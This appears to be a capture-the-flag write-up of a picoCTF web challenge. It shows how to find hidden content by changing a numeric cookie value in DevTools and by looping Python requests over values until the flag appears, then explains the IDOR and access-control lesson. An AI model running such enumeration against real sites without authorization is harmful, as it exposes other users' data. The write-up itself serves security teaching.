Challenge description

The challenge presents a site themed around cookies (the food). The description reads:

A form lets you search for a cookie type by name. The goal is to understand how the site handles its cookies client-side.

Step 1 — Reconnaissance

We open the site and submit a search with the word snickerdoodle (the default suggestion). The page displays: "I love snickerdoodle cookies!"

We open DevTools (F12) → Application tab → Cookies. We observe:

name=0

The value is an integer. The site maps each cookie type to a numeric identifier.

Step 2 — Hypothesis

If name=0 corresponds to "snickerdoodle", there are probably other values — or the flag. We enumerate. Two approaches:

• Manual: change the value in DevTools, reload
• Automated: send requests in a loop with Python

Step 3 — Manual test

In DevTools → Application → Cookies, we change name to 1 and reload. We keep incrementing:

name=0  → snickerdoodle
name=1  → chocolate chip
name=2  → oatmeal raisin
name=3  → gingersnap
...
name=18 → [FLAG]

Step 4 — Automation with Python

import requests

url = "http://2019shell1.picoctf.com:21485/"

for i in range(25):
    cookies = {"name": str(i)}
    r = requests.get(url, cookies=cookies)
    if "picoCTF" in r.text:
        print(f"[+] Flag found with name={i}")
        start = r.text.find("picoCTF{")
        end   = r.text.find("}", start) + 1
        print(r.text[start:end])
        break
    else:
        print(f"[-] name={i}: no flag")

[-] name=0: no flag
[-] name=1: no flag
...
[+] Flag found with name=18
picoCTF{***************************}

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge illustrates a client-side access control problem: the server trusts the value of a cookie without validating it. By manipulating name, we access hidden content.

In a real-world context, this type of vulnerability can expose other users' data (IDOR — Insecure Direct Object Reference) or administration endpoints.

• Always inspect cookies as soon as a site loads personalized content
• Sequential identifiers (0, 1, 2...) are a classic red flag
• Automating enumeration with requests is a basic web CTF skill

Resources

• MDN — HTTP Cookies
• OWASP — Broken Access Control
• Python requests documentation

Related reading

Forensics 2025-05-15 · PicoCTF 2023

PicoCTF Hideme Writeup — Extract a Hidden ZIP with Binwalk

Detecting and extracting a ZIP file hidden inside a PNG image with binwalk. An introduction to steganography.